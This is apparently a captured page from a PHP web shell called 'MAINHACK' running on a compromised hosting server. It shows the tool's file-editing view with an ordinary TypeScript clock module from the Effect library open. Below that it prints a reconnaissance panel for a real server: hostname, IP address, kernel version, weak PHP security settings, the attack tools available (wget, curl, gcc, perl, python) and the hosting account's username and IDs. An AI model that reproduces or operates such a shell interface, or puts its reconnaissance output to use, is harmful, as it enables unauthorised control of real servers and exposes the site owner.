[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: clock.ts
import type * as Clock from "../Clock.js" import * as Context from "../Context.js" import * as Duration from "../Duration.js" import type * as Effect from "../Effect.js" import { constFalse } from "../Function.js" import * as core from "./core.js" /** @internal */ const ClockSymbolKey = "effect/Clock" /** @internal */ export const ClockTypeId: Clock.ClockTypeId = Symbol.for(ClockSymbolKey) as Clock.ClockTypeId /** @internal */ export const clockTag: Context.Tag<Clock.Clock, Clock.Clock> = Context.GenericTag("effect/Clock") /** @internal */ export const MAX_TIMER_MILLIS = 2 ** 31 - 1 /** @internal */ export const globalClockScheduler: Clock.ClockScheduler = { unsafeSchedule(task: Clock.Task, duration: Duration.Duration): Clock.CancelToken { const millis = Duration.toMillis(duration) // If the duration is greater than the value allowable by the JS timer // functions, treat the value as an infinite duration if (millis > MAX_TIMER_MILLIS) { return constFalse } let completed = false const handle = setTimeout(() => { completed = true task() }, millis) return () => { clearTimeout(handle) return !completed } } } const performanceNowNanos = (function() { const bigint1e6 = BigInt(1_000_000) if (typeof performance === "undefined" || typeof performance.now !== "function") { return () => BigInt(Date.now()) * bigint1e6 } let origin: bigint return () => { if (origin === undefined) { origin = (BigInt(Date.now()) * bigint1e6) - BigInt(Math.round(performance.now() * 1_000_000)) } return origin + BigInt(Math.round(performance.now() * 1000000)) } })() const processOrPerformanceNow = (function() { const processHrtime = typeof process === "object" && "hrtime" in process && typeof process.hrtime.bigint === "function" ? process.hrtime : undefined if (!processHrtime) { return performanceNowNanos } const origin = performanceNowNanos() - processHrtime.bigint() return () => origin + processHrtime.bigint() })() /** @internal */ class ClockImpl implements Clock.Clock { readonly [ClockTypeId]: Clock.ClockTypeId = ClockTypeId unsafeCurrentTimeMillis(): number { return Date.now() } unsafeCurrentTimeNanos(): bigint { return processOrPerformanceNow() } currentTimeMillis: Effect.Effect<number> = core.sync(() => this.unsafeCurrentTimeMillis()) currentTimeNanos: Effect.Effect<bigint> = core.sync(() => this.unsafeCurrentTimeNanos()) scheduler(): Effect.Effect<Clock.ClockScheduler> { return core.succeed(globalClockScheduler) } sleep(duration: Duration.Duration): Effect.Effect<void> { return core.async<void>((resume) => { const canceler = globalClockScheduler.unsafeSchedule(() => resume(core.void), duration) return core.asVoid(core.sync(canceler)) }) } } /** @internal */ export const make = (): Clock.Clock => new ClockImpl()
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344